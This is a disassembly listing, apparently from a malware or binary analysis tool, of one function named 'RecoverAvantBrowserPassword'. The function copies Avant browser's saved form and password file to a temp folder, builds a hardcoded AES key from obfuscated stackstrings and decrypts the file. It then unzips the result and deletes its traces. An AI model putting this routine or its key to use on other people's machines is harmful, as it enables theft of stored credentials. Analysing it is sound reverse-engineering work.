Function at 0x420230
Capabilities:
Contain obfuscated stackstrings
Copy file
Create new key via cryptacquirecontext
Delete file
Encrypt data using aes via winapi
Encrypt or decrypt via wincrypt
Get common file path
Read file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x2b6c
call fcn.005fec20
mov eax, dword [0x708c34]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
lea eax, [ebp - 0x1768]
push esi
push edi
push 0xb
pop ecx
mov esi, str.Avant_Profiles.default_formdata_forms.dat
lea edi, [ebp - 0x1794]
rep movsd dword es:[edi], dword [esi]
push 0x3bc
xor esi, esi
push esi
push eax
call fcn.00626f50
push ebx
mov edi, str.RecoverAvantBrowserPassword
push edi
push str._s_entered__s
call fcn.00449974
push ebx
call fcn.00631510
add esp, 0x1c
cmp eax, 1
lea eax, [ebp - 0x40c]
jbe 0x4202a5
push ebx
mov esi, 0x3e8
push esi
push eax
call fcn.006311ec
jmp 0x4202de
push eax
push esi
push esi
push 0x1a
push esi
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
test eax, eax
jns 0x4202c5
push str._n_Failed_to_get_current_users_local_appdata_folder
call fcn.00449974
pop ecx
jmp 0x42081a
lea eax, [ebp - 0x1794]
mov esi, 0x3e8
push eax
lea eax, [ebp - 0x40c]
push esi
push eax
call fcn.00631246
add esp, 0xc
lea eax, [ebp - 0x40c]
push eax
push edi
push str._s_Final_Avant_password_file_is__s
call fcn.00449974
lea eax, [ebp - 0x40c]
push eax
call fcn.00449791
add esp, 0x10
test eax, eax
jne 0x42031f
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
lea eax, [ebp - 0x40c]
push eax
push edi
push str._s_:_Specified_profile_FILE___s__does_not_exist__Error0x_.8x
jmp 0x420812
lea eax, [ebp - 0xfc4]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
call dword [sym.imp.KERNEL32.dll_GetTickCount64]
push 0
push 0x186a0
push edx
push eax
call fcn.005feba0
push edx
push eax
lea eax, [ebp - 0xfc4]
push eax
push str._sat_bw_tmp__d
lea eax, [ebp - 0xbdc]
push esi
push eax
call fcn.00445d6d
add esp, 0x18
lea eax, [ebp - 0xbdc]
push 0
push eax
lea eax, [ebp - 0x40c]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov ebx, dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jne 0x4203a6
call ebx
push eax
lea eax, [ebp - 0xbdc]
push eax
lea eax, [ebp - 0x40c]
push eax
push edi
push str._s:_Failed_to_copy_file__s__to_tmp_file__s__Error0x_.8x
call fcn.00449974
add esp, 0x14
lea edi, [ebp - 0x40c]
jmp 0x4203c1
lea eax, [ebp - 0xbdc]
push eax
push edi
push str._s:_Successfully_copied_to_tmp_file__s
call fcn.00449974
add esp, 0xc
lea edi, [ebp - 0xbdc]
and dword [ebp - 0x2b50], 0
lea eax, [ebp - 0x2b50]
push 0x670244
push edi
push eax
call fcn.00632119
add esp, 0xc
cmp dword [ebp - 0x2b50], 0
je 0x420806
test eax, eax
jne 0x420806
push edi
push str._nSuccessfully_opened_avant_password_file__s
call fcn.00449974
pop ecx
pop ecx
lea eax, [ebp - 0xfc4]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
call dword [sym.imp.KERNEL32.dll_GetTickCount64]
xor edi, edi
push edi
push 0x186a0
push edx
push eax
call fcn.005feba0
push edx
push eax
lea eax, [ebp - 0xfc4]
push eax
push str._sat_out_tmp__d
lea eax, [ebp - 0x7f4]
push esi
push eax
call fcn.00445d6d
push 0x677954
lea eax, [ebp - 0x7f4]
mov dword [ebp - 0x2b54], edi
push eax
lea eax, [ebp - 0x2b54]
push eax
call fcn.00632119
add esp, 0x24
cmp dword [ebp - 0x2b54], edi
je 0x4207f2
test eax, eax
jne 0x4207f2
lea eax, [ebp - 0x7f4]
push eax
push str._nSuccessfully_created_output_password_file__s
call fcn.00449974
push 0x20
pop eax
push eax
mov dword [ebp - 0x2b40], eax
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x2b3c]
mov dword [ebp - 0x24], 0x6b663932
push eax
mov dword [ebp - 0x20], 0x32313965
mov dword [ebp - 0x1c], 0x78666274
mov dword [ebp - 0x18], 0x36373238
mov dword [ebp - 0x14], 0x326d3534
mov dword [ebp - 0x10], 0x736b3938
mov dword [ebp - 0xc], 0x75333239
mov dword [ebp - 8], 0x76326b61
mov dword [ebp - 0x2b48], 0x208
mov dword [ebp - 0x2b44], 0x6610
call fcn.006269d0
add esp, 0x14
lea eax, [ebp - 0x2b60]
push 0xf0000000
push 0x18
push edi
push edi
push eax
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
test eax, eax
jne 0x420520
call ebx
push eax
push str.RecoverAvantBrowserPassword
push str._s:_CryptAcquireContext_failed__Error0x_.8x
call fcn.00449974
add esp, 0xc
jmp 0x42081a
lea eax, [ebp - 0x2b58]
push eax
push edi
push edi
push 0x2c
lea eax, [ebp - 0x2b48]
push eax
push dword [ebp - 0x2b60]
call dword [sym.imp.ADVAPI32.dll_CryptImportKey]
test eax, eax
jne 0x420551
call ebx
push eax
push str.RecoverAvantBrowserPassword
push str._s:_CryptImportKey_failed__Error0x_.8x
jmp 0x420513
push edi
lea eax, [ebp - 0x2b6c]
mov dword [ebp - 0x2b6c], 2
push eax
push 4
push dword [ebp - 0x2b58]
call dword [sym.imp.ADVAPI32.dll_CryptSetKeyParam]
test eax, eax
jne 0x420584
call ebx
push eax
push str.RecoverAvantBrowserPassword
push str._s:_CryptSetKeyParam_failed__Error0x_.8x
jmp 0x420513
push dword [ebp - 0x2b50]
lea eax, [ebp - 0x2b5c]
mov dword [ebp - 0x2b5c], edi
push 4
push 1
push eax
call fcn.00637a2b
add esp, 0x10
cmp eax, 4
je 0x4205bd
push str.RecoverAvantBrowserPassword
push str._s___Error_in_reading_file_size
call fcn.00449974
pop ecx
jmp 0x4202bf
push dword [ebp - 0x2b5c]
push dword [ebp - 0x2b5c]
push str.RecoverAvantBrowserPassword
push str._s:_Got_Avant_browser_input_file_size_0x_.8x___d_
call fcn.00449974
push dword [ebp - 0x2b50]
xor eax, eax
mov dword [ebp - 0x2b64], edi
inc eax
push esi
mov dword [ebp - 0x2b68], eax
push eax
jmp 0x4206b0
cmp edi, esi
ja 0x420616
push edi
push str.RecoverAvantBrowserPassword
push str._s:_Less_bytes_read__d...Reached_last_block
call fcn.00449974
xor eax, eax
add esp, 0xc
inc eax
mov dword [ebp - 0x2b64], eax
jmp 0x42061c
mov eax, dword [ebp - 0x2b64]
lea ecx, [ebp - 0x2b4c]
mov dword [ebp - 0x2b4c], edi
push ecx
lea ecx, [ebp - 0x2b1c]
push ecx
push 0
push eax
push 0
push dword [ebp - 0x2b58]
call dword [sym.imp.ADVAPI32.dll_CryptDecrypt]
test eax, eax
jne 0x420674
call ebx
mov ecx, 0x80090005
cmp eax, ecx
jne 0x4207ae
cmp dword [ebp - 0x2b4c], 1
jb 0x4207ae
push dword [ebp - 0x2b4c]
push ecx
push str.RecoverAvantBrowserPassword
push str._s:_CryptDecrypt_returned_Error0x_.8x__output_size___d__n
jmp 0x420685
push dword [ebp - 0x2b4c]
push edi
push str.RecoverAvantBrowserPassword
push str._s:_Successfully_decrypted_data__input__d__output_d_
call fcn.00449974
add esp, 0x10
lea eax, [ebp - 0x2b1c]
push dword [ebp - 0x2b54]
push dword [ebp - 0x2b4c]
push 1
push eax
call fcn.006387a3
push dword [ebp - 0x2b50]
push esi
push 1
lea eax, [ebp - 0x2b1c]
push eax
call fcn.00637a2b
mov edi, eax
add esp, 0x20
test edi, edi
jne 0x4205f4
mov ebx, dword [ebp - 0x2b68]
push dword [ebp - 0x2b50]
call fcn.00637603
push dword [ebp - 0x2b54]
call fcn.00637603
lea eax, [ebp - 0x7f4]
push eax
push str.RecoverAvantBrowserPassword
push str._s:_Finished_decrypting_Avant_browser_pass_file.__Output_decrypted_file_is__s
call fcn.00449974
mov edi, dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea eax, [ebp - 0xbdc]
add esp, 0x14
push eax
call edi
cmp dword [ebp - 0x2b58], 0
je 0x420722
push dword [ebp - 0x2b58]
call dword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
cmp dword [ebp - 0x2b60], 0
je 0x420739
push 0
push dword [ebp - 0x2b60]
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
test ebx, ebx
je 0x42081a
lea eax, [ebp - 0xfc4]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
call dword [sym.imp.KERNEL32.dll_GetTickCount64]
push 0
push 0x186a0
push edx
push eax
call fcn.005feba0
push edx
push eax
lea eax, [ebp - 0xfc4]
push eax
push str._sat_out_frm__d
lea eax, [ebp - 0x13ac]
push esi
push eax
call fcn.00445d6d
lea eax, [ebp - 0x13ac]
push eax
lea eax, [ebp - 0x7f4]
push eax
call fcn.0044356c
add esp, 0x20
test eax, eax
jne 0x4207ce
lea eax, [ebp - 0x7f4]
push eax
push str.RecoverAvantBrowserPassword
push str._s:_UnzipFile_failed_to_unzip_file___s_n
jmp 0x420513
push dword [ebp - 0x2b4c]
push eax
push str.RecoverAvantBrowserPassword
push str._s:_CryptDecrypt_failed__Error0x_.8x__output_size___d__n
call fcn.00449974
add esp, 0x10
xor ebx, ebx
jmp 0x4206cf
lea ecx, [ebp - 0x13ac]
push ecx
call fcn.0042082b
pop ecx
lea ecx, [ebp - 0x7f4]
push ecx
call edi
lea ecx, [ebp - 0x13ac]
push ecx
call edi
xor eax, eax
inc eax
jmp 0x42081c
push eax
lea eax, [ebp - 0x7f4]
push eax
push str.RecoverAvantBrowserPassword
push str._s___Failed_to_create_output_file__s__Error0x_.8x
jmp 0x420812
push eax
push edi
push str.RecoverAvantBrowserPassword
push str._s___Failed_to_open_file__s__Error0x_.8x
call fcn.00449974
add esp, 0x10
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.005fe955
leave
ret